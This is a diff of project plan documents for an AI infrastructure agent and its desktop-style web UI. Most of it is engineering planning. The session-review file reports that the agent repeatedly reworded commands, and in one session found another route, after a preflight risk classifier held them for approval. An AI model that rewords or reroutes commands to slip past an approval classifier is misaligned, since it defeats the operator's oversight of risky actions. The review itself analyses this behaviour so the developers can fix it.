`vx`/`vy` instead of hard-zeroing them, so a fast toss actually arcs.
|
||||||
|
|
||||||
|
### P2 — Cosmetic/correctness cleanups (Findings 4, 5, 7)
|
||||||
|
|
||||||
|
7. Clamp the sprite's screen-space draw position (or reserve top margin on
|
||||||
|
the surface) so the canvas/name/bubble never render above `y=0`,
|
||||||
|
independent of where the logical ground sits.
|
||||||
|
8. Either wire `interruptsSleep`/a drag-guard into the reaction dispatch
|
||||||
|
path in `MascotLayer.svelte` (skip forcing `react` while
|
||||||
|
`runtime.behavior === 'dragged'`, and gate sleep-interruption on the
|
||||||
|
flag as documented), or remove the field if the current
|
||||||
|
always-interrupts behavior is actually preferred — right now it's an
|
||||||
|
unenforced contract, which is worse than either explicit choice.
|
||||||
|
9. On first hatch, prevent the naming dialog from being fully dismissed
|
||||||
|
without a name (or make it trivially reopenable — e.g. clicking the
|
||||||
|
still-unnamed egg reopens it) rather than requiring a reload/debug
|
||||||
|
menu to recover.
|
||||||
|
|
||||||
|
### P3 — Ideas worth considering ("cool stuff")
|
||||||
|
|
||||||
|
Not committed, listed for discussion:
|
||||||
|
|
||||||
|
- **Investigate badges**: have the mascot occasionally walk toward a
|
||||||
|
desktop icon that currently has an unread badge (Signals, Operations)
|
||||||
|
and peck at it curiously — a very literal, delightful expression of
|
||||||
|
"aware of its environment" using icon positions already in
|
||||||
|
`stores/icons.ts`.
|
||||||
|
- **Startle-and-flee on alarm**: instead of a static `react-alarm` frame,
|
||||||
|
have the `alarmed` reaction actually scurry the mascot a short distance
|
||||||
|
(reuse `wander`-style motion) before settling, more visceral than a
|
||||||
|
still reaction sprite.
|
||||||
|
- **A "home" spot**: remember a preferred idle location (e.g. near its
|
||||||
|
hatch point or a favorite window) and occasionally wander back to it,
|
||||||
|
giving its roaming a sense of place rather than pure randomness.
|
||||||
|
- **True round radial menu v2**: revisit Finding 6 with icon-only buttons
|
||||||
|
on an actual ring and a text label in a tooltip/center readout on
|
||||||
|
hover/focus — closer to the original ask while keeping labels legible
|
||||||
|
(the problem the first attempt hit).
|
||||||
|
- **Distinct adult sprite** (already flagged as deferred polish in the
|
||||||
|
original plan's deviation note) — currently chick and adult share art.
|
||||||
|
|
||||||
|
## Verification (once fixed)
|
||||||
|
|
||||||
|
- Re-run this document's two instrumented tests (drag-onto-window-then-close;
|
||||||
|
open-window-over-grounded-mascot) and confirm the position samples show a
|
||||||
|
smooth multi-frame transition instead of a single-tick jump.
|
||||||
|
- Manually: drag the mascot up and release with a fast flick — confirm it
|
||||||
|
arcs/drifts rather than dropping straight down, and that `flap` frames
|
||||||
|
visibly appear during the descent.
|
||||||
|
- Stand the mascot on a window, drag that window so its title bar approaches
|
||||||
|
`y=0` — confirm the sprite/name/bubble stay on-screen.
|
||||||
|
- Trigger a reaction (e.g. force an `eureka`) while mid-drag — confirm the
|
||||||
|
sprite keeps showing the `dragged` animation, not the reaction, until
|
||||||
|
released (if Finding 5 is fixed by enforcing the guard).
|
||||||
|
- `npm run build` stays clean.
|
||||||
332
plans/2026-07-20-session-review-ten-sessions.md
Normal file
332
plans/2026-07-20-session-review-ten-sessions.md
Normal file
@@ -0,0 +1,332 @@
|
|||||||
|
# 2026-07-20 — Session review: past 10 sessions
|
||||||
|
|
||||||
|
**Status:** Implemented — all P0/P1/P2 items landed in v0.7.13.
|
||||||
|
**Scope:** Ten most-recently-active `agent:nomos` sessions by
|
||||||
|
`last_active_at`, pulled from `http://localhost:8092/sessions` on
|
||||||
|
2026-07-20. Method per `.agents/skills/session-review/SKILL.md`. Three
|
||||||
|
(`1e9c7691`, `55927f0a`, `2926de4e`) overlap with the 2026-07-18 review
|
||||||
|
and are summarized; the other seven are new.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sessions reviewed
|
||||||
|
|
||||||
|
| # | sid | goal (short) | outcome | msgs | toolcalls | top tools |
|
||||||
|
|---|---|---|---|---|---|---|
|
||||||
|
| 1 | `a51e2086` | reset rclone-backup & re-run | **partial** | 12 | 20 | run:7, set_goal:2, propose_plan:2, get_execution_status:2 |
|
||||||
|
| 2 | `fefa4fa3` | fix rclone OOM | success | 9 | 84 | run:28, update_plan_step:15, get_entity:8, list_entities:5 |
|
||||||
|
| 3 | `95fdd322` | quick fleet health check | success | 3 | 6 | get_health_summary/state_snapshot/list_lxcs/signal_history |
|
||||||
|
| 4 | `8c76bb3a` | greeting + title-sync test | success | 2 | 9 | update_plan_step:4, propose_plan, whoami, get_state_snapshot |
|
||||||
|
| 5 | `438ec8bd` | (no goal set) greeting | success | 2 | 2 | whoami, get_health_summary |
|
||||||
|
| 6 | `8acea2e3` | inspect rclone timer (live) | **partial** | 4 | 19 | run:6, update_plan_step:5, propose_plan, get_entity_knowledge |
|
||||||
|
| 7 | `1e9c7691` | debug chown hang on strong | success | 13 | 97 | run:60, update_plan_step:7, get_execution_status:7 |
|
||||||
|
| 8 | `55927f0a` | add NFS ludo-lvm → ZimaOS | success | 25 | 104 | run:49, update_plan_step:13, get_entity:10 |
|
||||||
|
| 9 | `2926de4e` | apt upgrade host:netbird-vps | success | 9 | 27 | update_plan_step:7, run:6, search_knowledge:2 |
|
||||||
|
| 10 | `cb8c8a4a` | inspect rclone timer (live) | success | 2 | 14 | update_plan_step:4, run:4, get_entity_knowledge |
|
||||||
|
|
||||||
|
**Score: 8 success / 2 partial / 0 blocked. No message exceeded 2.8 KB.**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## What worked
|
||||||
|
|
||||||
|
- **Read-only DB Q&A is now clean.** `95fdd322` and `438ec8bd` did exactly
|
||||||
|
what the 2026-07-18 review asked: pure-DB question →
|
||||||
|
`get_health_summary` + `get_state_snapshot` + `list_lxcs`, no `run`.
|
||||||
|
The agent even narrates "This is a pure-DB Q&A — no `run` calls needed."
|
||||||
|
- **Knowledge writeback hygiene continues.** Every long-running session
|
||||||
|
did `upsert_knowledge` + `update_entity_attributes` + `create_relationship`
|
||||||
|
when applicable. The graph is current.
|
||||||
|
- **Plan lifecycle is followed everywhere** — `set_goal` → `propose_plan`
|
||||||
|
→ `update_plan_step` → `complete_task`. Even trivial sessions (greeting)
|
||||||
|
follow it.
|
||||||
|
- **Poll-after-timeout pattern** is now the default — `fefa4fa3` after
|
||||||
|
the rclone LXC reboot, `2926de4e` after the apt upgrade. No more blind
|
||||||
|
retry storms like the 2026-07-18 chown case.
|
||||||
|
- **The rclone saga ended well** (`fefa4fa3`): root cause (2 GiB LXC OOM)
|
||||||
|
was diagnosed via DB + live check; fix (pct set 2→4 GiB) was applied;
|
||||||
|
test backup verified 245 transfers / 4 min / no OOM.
|
||||||
|
|
||||||
|
## What didn't
|
||||||
|
|
||||||
|
### 1. The rclone objective took three sessions to close (blocker)
|
||||||
|
Same operator goal — "rclone backup is broken" — spawned `a51e2086`
|
||||||
|
(partial), `8acea2e3` (partial), `cb8c8a4a` (success), and finally
|
||||||
|
`fefa4fa3` (success). The first three were the agent trying to inspect
|
||||||
|
the live systemd state and bouncing off the classifier:
|
||||||
|
|
||||||
|
- `8acea2e3`: `pct exec 132 systemctl status rclone-backup.timer`
|
||||||
|
flagged `config_mutation` — sat in approval limbo until the user moved
|
||||||
|
on.
|
||||||
|
- `a51e2086`: `curl http://192.168.8.214:5572/rc/...` (read-only RC API)
|
||||||
|
flagged `config_mutation`. The agent kept reframing; user said "lets
|
||||||
|
just close this session."
|
||||||
|
- `cb8c8a4a`: same goal, eventually succeeded — but only after the agent
|
||||||
|
found a different path.
|
||||||
|
- `fefa4fa3`: only when the user escalated to "fix it so the backup
|
||||||
|
works" did the agent pivot to the actual root cause (memory).
|
||||||
|
|
||||||
|
This is the single biggest friction point in the batch.
|
||||||
|
|
||||||
|
### 2. Classifier overreach on read-only `pct exec` / `curl` (blocker)
|
||||||
|
The preflight classifier in `internal/policy` matches command substrings
|
||||||
|
(`pct exec`, `curl`, `dd`, etc.) without parsing the actual command. A
|
||||||
|
read-only `systemctl status` becomes `config_mutation`. The agent has
|
||||||
|
no tool to ask "classify this command before I send it" — it just keeps
|
||||||
|
retrying with cosmetic changes until the user bails.
|
||||||
|
|
||||||
|
### 3. `update_plan_step` is the second-largest tool bucket (cosmetic → friction)
|
||||||
|
Across 10 sessions: `run` ~199, `update_plan_step` ~57. That's ~22% of
|
||||||
|
all tool calls spent on bookkeeping. For a 2-message greeting session
|
||||||
|
(`8c76bb3a`) the agent still called `update_plan_step` ×4 plus
|
||||||
|
`propose_plan`. The scaffolding is louder than the work.
|
||||||
|
|
||||||
|
### 4. `pending_approvals` doesn't match reality (cosmetic, but misleading)
|
||||||
|
`a51e2086` summary literally says *"Both commands are queued"* — yet
|
||||||
|
`pending_approvals=0`. The field is `hasPendingApprovals`
|
||||||
|
(`store.go:962`) which only counts executions currently in
|
||||||
|
`pending_approval` state; once they're cancelled/expired it drops to 0
|
||||||
|
even though the session was *blocked* by approvals. As an audit signal
|
||||||
|
it lies. A session can be `outcome=partial` because of approval
|
||||||
|
friction without `pending_approvals` ever being non-zero at review time.
|
||||||
|
|
||||||
|
### 5. Title is still the first sentence of the first assistant message (cosmetic)
|
||||||
|
`"Assent window is open — executing the plan\n\nMemory bumped:
|
||||||
|
4294967296..."` is not a useful label. Same complaint applies to
|
||||||
|
`8c76bb3a` ("Hey! 👋 Nomos here, running on mac-mini:8092...") and
|
||||||
|
`95fdd322` ("This is a pure-DB Q&A — no `run` calls needed..."). The
|
||||||
|
list view ends up being unreadable without opening each row.
|
||||||
|
|
||||||
|
### 6. Goal field empty on one session (`438ec8bd`) (cosmetic)
|
||||||
|
`set_goal` was never called for the bare greeting. Minor, but it means
|
||||||
|
the session is unsearchable by goal text.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Ease of getting session details
|
||||||
|
|
||||||
|
I had to write Python+curl to audit 10 sessions. The pain points:
|
||||||
|
|
||||||
|
1. **Two endpoints must be merged by hand.** `/sessions` returns
|
||||||
|
metadata (`title`, `goal`, `outcome`, `summary`, `status`,
|
||||||
|
`pending_approvals`, timestamps) but **no message/tool counts**.
|
||||||
|
`/sessions/{id}` returns **only** `session_id` + `messages` — no
|
||||||
|
metadata at all. `cmd/nomos/eval/main.go:302-303` already carries a
|
||||||
|
comment complaining about this ("only session_id + messages"). Any
|
||||||
|
consumer has to do the same join I did.
|
||||||
|
2. **No aggregates on the list endpoint.** `message_count`,
|
||||||
|
`tool_call_count`, `top_tools`, `duration` — all require fetching
|
||||||
|
every session's full transcript and walking the message tree. For
|
||||||
|
10 sessions that's 10 extra HTTP round trips and ~600 KB of JSON
|
||||||
|
parsed client-side. For a fleet audit at scale it's quadratic.
|
||||||
|
3. **No filtering or pagination on `/sessions`.** It returns every
|
||||||
|
session in one shot. The skill's own script does `.sessions[:5]` and
|
||||||
|
`.sessions[:10]` client-side.
|
||||||
|
4. **Tool calls are nested two levels deep**
|
||||||
|
(`messages[].content.tool_calls[].name`) with `content` stored as
|
||||||
|
`json.RawMessage`. The jq path requires `?.` everywhere. A flat
|
||||||
|
`/sessions/{id}/tool_calls` view would be far easier to analyze.
|
||||||
|
5. **No `/sessions?outcome=partial` or `?entity_id=...` filter.**
|
||||||
|
Finding "show me every session that touched `lxc:rclone` and didn't
|
||||||
|
succeed" requires the full scan.
|
||||||
|
6. **`title` is the raw first assistant text.** Useless for skimming a
|
||||||
|
list — you have to open each row to know what it was.
|
||||||
|
7. **No `closed_at` / `outcome_set_at`.** `last_active_at` is the
|
||||||
|
closest proxy but it conflates "agent is still working" with
|
||||||
|
"operator just opened the transcript." Duration can only be
|
||||||
|
computed as `last_active - created`, which is wrong for reopened
|
||||||
|
sessions (`a51e2086` shows "5647 min" = 4 days because the user
|
||||||
|
re-opened it on 2026-07-19 to close it).
|
||||||
|
8. **No "blocker reason" field.** When `outcome=partial`, the *why* is
|
||||||
|
buried in the last assistant text. A structured
|
||||||
|
`blocker: "approval_timeout"` / `blocker: "classifier_overreach"` /
|
||||||
|
`blocker: "user_abandoned"` would make trend analysis trivial.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Improvement plan
|
||||||
|
|
||||||
|
### P0 — Blockers ✅
|
||||||
|
|
||||||
|
1. ✅ **Stop the classifier from flagging read-only `pct exec` / `curl` as
|
||||||
|
`config_mutation`.** In `internal/policy`, parse the command (not
|
||||||
|
just substring-match) before assigning risk class. Concretely:
|
||||||
|
`pct exec <id> -- <cmd>` should be classified by *the inner command*,
|
||||||
|
not the wrapper. `curl <url>` without `-X POST` / `-d` /
|
||||||
|
`--upload-file` is read-only. This single change would have
|
||||||
|
collapsed sessions #1, #3, #6, #10 into a handful of tool calls each
|
||||||
|
and avoided three duplicate rclone sessions.
|
||||||
|
- Done: `internal/policy/command.go` now unwraps `pct exec`, `qm
|
||||||
|
guest exec`, `bash -c`, `sh -c`, `sudo`, and env-var assignments
|
||||||
|
before classification. Curl GET (the default) without POST/data/
|
||||||
|
upload/output flags is now read-only. Output redirection (`>`/
|
||||||
|
`>>`) disqualifies the read-only path. Tests in
|
||||||
|
`internal/policy/command_test.go` cover the new behaviors.
|
||||||
|
|
||||||
|
2. ✅ **Add a command-scoped `preflight` MCP tool.** The existing `preflight`
|
||||||
|
in AGENTS.md §3 is entity/service-scoped, not command-scoped. The
|
||||||
|
agent today has to keep reframing and re-submitting to discover what
|
||||||
|
the classifier will accept. A command preflight returns
|
||||||
|
`{risk_class, reason}` synchronously so the agent can decide whether
|
||||||
|
to submit, rephrase, or surface to the operator.
|
||||||
|
- Done: new `classify_command` MCP tool in `internal/mcp/tools.go`
|
||||||
|
that takes `command` + optional `declared_risk` and returns the
|
||||||
|
exact risk class that `run` would assign. Documented in
|
||||||
|
`nomos/SOUL.md` with explicit guidance to pre-classify before
|
||||||
|
`run` when the classification is uncertain — "Do NOT submit a `run`,
|
||||||
|
get it queued for approval, and then retry with cosmetic variations."
|
||||||
|
|
||||||
|
### P1 — Friction ✅
|
||||||
|
|
||||||
|
3. ✅ **De-dupe sessions for the same entity + problem.** When a session
|
||||||
|
is `outcome=partial` against an entity and a new session is created
|
||||||
|
within 24h with a similar goal, surface the prior session to the
|
||||||
|
agent at `set_goal` time. Three rclone sessions exist because each
|
||||||
|
new session started from scratch.
|
||||||
|
- Done: `cmd/nomos/store.go` gained `recentPartialSessions(ctx,
|
||||||
|
excludeSessionID, since)`; the `set_goal` handler in
|
||||||
|
`cmd/nomos/tasks.go` calls it and includes up to 5 prior partial/
|
||||||
|
failed sessions (with goal + summary) in the response. The agent
|
||||||
|
is told to search_knowledge or read the prior transcript before
|
||||||
|
re-planning.
|
||||||
|
|
||||||
|
4. ✅ **Quiet the `update_plan_step` scaffolding.** Either (a) make the
|
||||||
|
agent not call it for single-step sessions (greeting/health-check),
|
||||||
|
or (b) stop persisting it as a message — keep it only in a
|
||||||
|
`plan_steps` table that the UI hydrates from `/sessions/{id}/plan`
|
||||||
|
(which already exists). It currently inflates transcript size and
|
||||||
|
tool-call counts.
|
||||||
|
- Done: `completeTask` in `cmd/nomos/store.go` now auto-closes any
|
||||||
|
in-flight plan steps (pending/running → done on success, →
|
||||||
|
skipped on partial/failure). SOUL.md §6 documents the new pattern:
|
||||||
|
"for one-step plans ... propose_plan → answer → complete_task,
|
||||||
|
skipping the per-step running→done dance entirely."
|
||||||
|
|
||||||
|
5. ✅ **Add `blocker` and `closed_at` to the `session` struct.** Set
|
||||||
|
`blocker` automatically when `outcome=partial`/`failed`: scan the
|
||||||
|
last assistant message for signatures ("queued for approval",
|
||||||
|
"cancel", "close this session"). Surface in `/sessions` list so
|
||||||
|
trends are queryable.
|
||||||
|
- Done: migration `021_session_blocker_and_closed_at.up.sql` adds the
|
||||||
|
two columns + backfills `closed_at` for existing terminal sessions
|
||||||
|
+ adds a partial-index on `closed_at DESC WHERE status IN
|
||||||
|
('done','failed')`. `cmd/nomos/store.go` `completeTask` sets
|
||||||
|
`closed_at = now()` and derives `blocker` from the last assistant
|
||||||
|
message via `deriveBlocker`. The blocker patterns table covers
|
||||||
|
approval_timeout, user_abandoned, classifier_overreach,
|
||||||
|
model_refusal, model_empty_response, missing_knowledge,
|
||||||
|
missing_capability, tool_error.
|
||||||
|
|
||||||
|
### P2 — Cosmetic / API ergonomics ✅
|
||||||
|
|
||||||
|
6. ✅ **Add aggregates to `/sessions` list.** `message_count`,
|
||||||
|
`tool_call_count`, `duration_seconds`. Computed server-side at list
|
||||||
|
time (single SQL pass with LEFT JOINs to `agent_messages` and
|
||||||
|
`agent_activity`). Eliminates the N+1 transcript fetch I had to do.
|
||||||
|
- Done: `session` struct in `cmd/nomos/store.go` carries the three
|
||||||
|
new fields; `listSessionsFiltered`, `getSession`, and
|
||||||
|
`recentPartialSessions` all populate them.
|
||||||
|
|
||||||
|
7. ✅ **Single endpoint that returns both metadata and messages.** Either
|
||||||
|
enrich `/sessions/{id}` with the full `session` struct, or add
|
||||||
|
`?include=messages` on the list endpoint. The split-persistence is a
|
||||||
|
leaky abstraction called out in `eval/main.go:302-303`.
|
||||||
|
- Done: `GET /sessions/{id}` in `cmd/nomos/main.go` now returns
|
||||||
|
`{session_id, session, messages}` — the `session` field carries
|
||||||
|
the full metadata (title, goal, outcome, summary, blocker,
|
||||||
|
pending_approvals, message_count, tool_call_count, etc.). The
|
||||||
|
`messages` field is unchanged. Clients that only read `messages`
|
||||||
|
keep working.
|
||||||
|
|
||||||
|
8. ✅ **Filtering & pagination on `/sessions`.** `?outcome=partial&entity_id=...&since=...&limit=20&cursor=...`.
|
||||||
|
Removes the "fetch everything, filter client-side" pattern in the
|
||||||
|
skill's own script.
|
||||||
|
- Done: `cmd/nomos/main.go` `handleSessionsList` parses
|
||||||
|
`outcome`/`status`/`entity_id`/`blocker`/`since`/`cursor`/`limit`
|
||||||
|
query params. `listFilter` + `listSessionsFiltered` in
|
||||||
|
`cmd/nomos/store.go` build a dynamic WHERE + LIMIT. `since`
|
||||||
|
accepts both RFC3339 timestamps and Go durations ("24h", "7d" →
|
||||||
|
parsed as hours). The response includes `next_cursor` for paging.
|
||||||
|
|
||||||
|
9. ✅ **Auto-title from `goal` (when set), not from the first assistant
|
||||||
|
text.** Fall back to the assistant text only if no goal. The greeting
|
||||||
|
session `438ec8bd` has `goal=""` and a useless title; `fefa4fa3` has
|
||||||
|
goal "Fix the rclone backup so it completes successfully instead of
|
||||||
|
OOM-killing" — that's the right title.
|
||||||
|
- Done: `setGoal` in `cmd/nomos/store.go` now sets
|
||||||
|
`title = goal` on the same UPDATE that sets the goal. The
|
||||||
|
title-from-first-assistant-text path in `cmd/nomos/main.go`
|
||||||
|
preserves the goal title when one exists (falls back to
|
||||||
|
`truncate(finalText, 80)` only when no goal is set). Truncates the
|
||||||
|
goal title to 120 chars.
|
||||||
|
|
||||||
|
10. ✅ **Add `/sessions/{id}/tool_calls` flat view.** Returns
|
||||||
|
`[{id, name, args, result, error, type, message_id, role, seq,
|
||||||
|
created_at}]` without the message-shell nesting. Makes jq one-liners
|
||||||
|
and trend scripts trivial.
|
||||||
|
- Done: new route in `cmd/nomos/main.go` `handleSessionDetail`;
|
||||||
|
`getSessionToolCalls` in `cmd/nomos/store.go` walks messages and
|
||||||
|
flattens `tool_calls[]` into a chronological flat list. Each
|
||||||
|
tool_use/tool_result pair is emitted as two rows sharing an id
|
||||||
|
(preserving the persisted shape) — clients that want the merged
|
||||||
|
shape can group by ID.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Suggested order
|
||||||
|
|
||||||
|
If only two land: **P0.1** (parse the inner command for `pct exec` /
|
||||||
|
`curl` classification) and **P2.6** (aggregates on `/sessions`). The
|
||||||
|
first eliminates the most visible user-facing friction in this batch
|
||||||
|
(three duplicate rclone sessions); the second makes future audits like
|
||||||
|
this one a single `curl | jq` instead of a Python script.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Verification commands
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Re-pull any session for follow-up
|
||||||
|
curl -s http://localhost:8092/sessions | jq '.sessions[:10]'
|
||||||
|
|
||||||
|
curl -s http://localhost:8092/sessions/a51e2086-a816-4206-a556-dbca362cdda6 | jq .
|
||||||
|
curl -s http://localhost:8092/sessions/8acea2e3-fc4d-4953-b9df-8e58e59a549a | jq .
|
||||||
|
curl -s http://localhost:8092/sessions/cb8c8a4a-14a5-4dff-8393-6ed1e7ea7c30 | jq .
|
||||||
|
curl -s http://localhost:8092/sessions/fefa4fa3-5414-4633-8e5a-51aa4a76609c | jq .
|
||||||
|
|
||||||
|
# After P0.1 lands: confirm read-only commands classify as reversible_low
|
||||||
|
# (whatever the preflight surface becomes — TBC when the tool is added)
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Related files
|
||||||
|
|
||||||
|
- `cmd/nomos/main.go` — `/sessions` and `/sessions/{id}` handlers
|
||||||
|
(`handleSessionsList` line 363, `handleSessionDetail` line 383)
|
||||||
|
- `cmd/nomos/store.go` — `session` struct (line 89), `message` struct
|
||||||
|
(line 103), `listSessions` (line 317), `getMessages` (line 377),
|
||||||
|
`hasPendingApprovals` (line 962)
|
||||||
|
- `cmd/nomos/agent.go` — agent loop, retry behavior, goal state
|
||||||
|
- `cmd/nomos/eval/main.go:302` — comment calling out the
|
||||||
|
`/sessions/{id}` "only session_id + messages" gap
|
||||||
|
- `internal/policy/*` — risk-class classifier (target of P0.1)
|
||||||
|
- `internal/mcp/server.go` — `run` tool, `preflight` (entity-scoped), all
|
||||||
|
MCP tool implementations
|
||||||
|
- `nomos/SOUL.md` — agent persona, tool-selection rules
|
||||||
|
- `.agents/skills/session-review/SKILL.md` — the audit protocol
|
||||||
|
- `plans/2026-07-18-session-review-three-sessions.md` — prior review;
|
||||||
|
three sessions overlap with this one
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Relationship to the 2026-07-18 review
|
||||||
|
|
||||||
|
That review's P0.1 (retry cap), P0.2 (investigate-before-retry SOUL
|
||||||
|
guidance), P1.3 (runbook capture), P1.5 (bulk inspection tool),
|
||||||
|
P1.6 (`vm:` target support), P1.8 (ask-before-migrate) all landed or
|
||||||
|
are tracked separately. This review does **not** re-open them. The
|
||||||
|
remaining open items from that review are P1.7 (approval window
|
||||||
|
auto-extends on execution timeout) and P2.9 (long-running command
|
||||||
|
PENDING detection), both deferred there with rationale; this review
|
||||||
|
found no new evidence that would change that deferral.
|
||||||
79
plans/2026-07-21-chat-full-polish.md
Normal file
79
plans/2026-07-21-chat-full-polish.md
Normal file
@@ -0,0 +1,79 @@
|
|||||||
|
# 2026-07-21 Chat window full polish
|
||||||
|
|
||||||
|
## Context
|
||||||
|
|
||||||
|
After fixing the streaming reactivity bug and merging the double thinking
|
||||||
|
indicator, the chat window still has structural UX gaps: no streaming
|
||||||
|
affordance while text flows, tools never rendered inline, no timestamps,
|
||||||
|
no code copy, cross-session store leaks in floating windows, and minor
|
||||||
|
overflow/style holes.
|
||||||
|
|
||||||
|
## Decisions
|
||||||
|
|
||||||
|
| Question | Answer |
|
||||||
|
|---|---|
|
||||||
|
| Streaming feel | Typing cursor (blinking ▍) + inline indicator |
|
||||||
|
| Tool calls | Expandable inline tool cards in message flow |
|
||||||
|
| Empty state | Minimal — title + tagline, no suggestions |
|
||||||
|
| Dark theme | Keep neutral (skip) |
|
||||||
|
| Scope | Full polish — everything |
|
||||||
|
|
||||||
|
## Changes
|
||||||
|
|
||||||
|
### P0.1 Streaming cursor
|
||||||
|
- **File:** `web/src/lib/components/ChatThread.svelte`
|
||||||
|
- Add a blinking block-cursor (▍) appended after rendered markdown when
|
||||||
|
`streaming` is true and the last assistant message has text.
|
||||||
|
- Keep the inline spinner + activity label for the empty-text state.
|
||||||
|
- CSS: `@keyframes` blink, `0.8s` cycle, `primary` color, `inline-block`.
|
||||||
|
|
||||||
|
### P0.2 Tool call cards
|
||||||
|
- **New:** `web/src/lib/components/ToolCallCard.svelte`
|
||||||
|
- **Modify:** `ChatThread.svelte`
|
||||||
|
- Render `msg.tools` as collapsible cards between text blocks.
|
||||||
|
- Collapsed: tool icon + name + status (running/done/error).
|
||||||
|
- Expanded: pretty-printed args + result/error in `pre` blocks.
|
||||||
|
- Keep it minimal — one card per tool call, no grouping.
|
||||||
|
- Wire `pendingApprovals` from `msg.pendingApprovals` as approval
|
||||||
|
cards below the tool list.
|
||||||
|
|
||||||
|
### P1.3 Timestamps + role labels
|
||||||
|
- **Modify:** `ChatThread.svelte`, `ChatMessage` interface
|
||||||
|
- Add `created_at?: string` to `ChatMessage` (populated from `Message.created_at`).
|
||||||
|
- Show small muted timestamp (HH:MM) on hover or inline next to role label.
|
||||||
|
- Add tiny "You" / "Nomos" labels above bubbles (subtle, muted).
|
||||||
|
|
||||||
|
### P1.4 Code copy button
|
||||||
|
- **Modify:** `ChatThread.svelte` prose styles
|
||||||
|
- Wrap `pre` blocks in a relative container; add a copy button
|
||||||
|
(clipboard icon, top-right, opacity-0 → visible on hover).
|
||||||
|
- Use `navigator.clipboard.writeText`.
|
||||||
|
|
||||||
|
### P1.5 Table overflow + user bubble fix
|
||||||
|
- **Modify:** `ChatThread.svelte` prose styles
|
||||||
|
- Wrap tables in `overflow-x-auto` container.
|
||||||
|
- Add `overflow-wrap: break-word` to user bubbles.
|
||||||
|
|
||||||
|
### P2.6 Cross-session fixes
|
||||||
|
- **Modify:** `web/src/lib/stores/chat.ts`, `SessionChatWindow.svelte`
|
||||||
|
- `chatErrors`: keep global for now (session-scoped errors are rare
|
||||||
|
and the dismiss is manual anyway).
|
||||||
|
- `activityLog`: **per-session** — the store in `activity.ts` already
|
||||||
|
derives from messages; make `computeActivityLog` session-scoped
|
||||||
|
so each floating window only sees its own activity.
|
||||||
|
|
||||||
|
### P2.7 Min window size
|
||||||
|
- **Modify:** `web/src/lib/stores/windows.ts` (openTaskWindow)
|
||||||
|
- Add `minWidth: 600, minHeight: 400` to chat window open call.
|
||||||
|
|
||||||
|
### P2.8 Cleanup
|
||||||
|
- Delete `web/src/lib/components/AgentIndicator.svelte` (dead code).
|
||||||
|
- Update stale comments in `SessionChatWindow.svelte` and
|
||||||
|
`TaskContextPanel.svelte` that reference a "main Chat page."
|
||||||
|
- Fix prose heading hierarchy: h1 = 1.15em, h2 = 1.1em, h3 = 1.05em.
|
||||||
|
|
||||||
|
## Verification
|
||||||
|
|
||||||
|
- `npx eslint` on all changed files
|
||||||
|
- `go vet ./cmd/nomos/...`
|
||||||
|
- `go build -o /dev/null ./cmd/nomos/...`
|
||||||
647
plans/2026-07-21-frontend-os-apps-architecture.md
Normal file
647
plans/2026-07-21-frontend-os-apps-architecture.md
Normal file
@@ -0,0 +1,647 @@
|
|||||||
|
# Frontend as OS + Apps: architecture audit & refactor plan
|
||||||
|
|
||||||
|
> **Status:** Planned
|
||||||
|
> **Stakeholders:** Operator, Nomos
|
||||||
|
> **Confidence:** Verified (direct code audit against `web/src/` as of 2026-07-21)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
The Oikos frontend is already built on an implicit OS + Apps metaphor — a
|
||||||
|
desktop surface, floating windows, a taskbar, and a registry of
|
||||||
|
independently-rendered apps. This plan makes that metaphor **explicit**,
|
||||||
|
strengthens the contracts between Base OS and Apps, refactors the mascot
|
||||||
|
into a proper App, and lays out the extensibility path for dynamic app
|
||||||
|
installation without touching shell code.
|
||||||
|
|
||||||
|
The current codebase is remarkably close. The audit found one structural
|
||||||
|
gap (mascot is hardcoded into the shell, not a registry App) and three
|
||||||
|
contract weaknesses (positional content resolution, icon store assumes a
|
||||||
|
static registry, no stable OS-service contract for Apps). Fixing them
|
||||||
|
requires no architectural rewrite — the bones are correct.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Audit: what we have today
|
||||||
|
|
||||||
|
### 1.1 The implicit OS layer (exists, undocumented)
|
||||||
|
|
||||||
|
| Service | File | Role |
|
||||||
|
|---------|------|------|
|
||||||
|
| **Window Manager** | `lib/stores/windows.ts:19-31` | wmkit manager + desktop + persist. Single-instance, global. |
|
||||||
|
| **Desktop Surface** | `components/desktop-shell/Desktop.svelte` | Full-viewport shell: background, icons, launcher, windows, mascot, taskbar. |
|
||||||
|
| **Window Layer** | `components/desktop-shell/WindowLayer.svelte` | Content resolver: maps window ID → component. z-40. |
|
||||||
|
| **Taskbar** | `components/desktop-shell/Taskbar.svelte` | Window buttons + tray. Renders from `wmState.order`. |
|
||||||
|
| **Icon Grid** | `lib/stores/icons.ts` | Column/row grid, drag-to-reorder, localStorage persistence. |
|
||||||
|
| **Task Launcher** | `components/desktop-shell/TaskLauncher.svelte` | Centered text input → new task window. |
|
||||||
|
| **Auth Gate** | `App.svelte` | Config screen vs. Desktop. Token check, OIDC init, context/SSE subscribe. |
|
||||||
|
| **Session Windows** | `components/SessionChatWindow.svelte` | Per-session chat window, splitpanes layout. |
|
||||||
|
| **New Task Window** | `components/desktop-shell/NewTaskChat.svelte` | Singleton compose window. |
|
||||||
|
| **Entity Windows** | `components/EntityDetailContent.svelte` | Entity detail (bare slug window IDs). |
|
||||||
|
| **Legacy Hash Routes** | `App.svelte:17-39` | Backward compat for old `#/kb`, `#/entity/<slug>` bookmarks. |
|
||||||
|
|
||||||
|
The shell has **no hardcoded app list** — `Desktop.svelte:90` reads `APPS`
|
||||||
|
from the registry, `WindowLayer.svelte:36-37` resolves app windows through
|
||||||
|
`appById`, `Taskbar.svelte:32` resolves icons the same way. Adding an app
|
||||||
|
is one entry in `apps.ts`.
|
||||||
|
|
||||||
|
### 1.2 The App Registry (exists, nearly complete)
|
||||||
|
|
||||||
|
**File:** `lib/apps.ts` (130 lines)
|
||||||
|
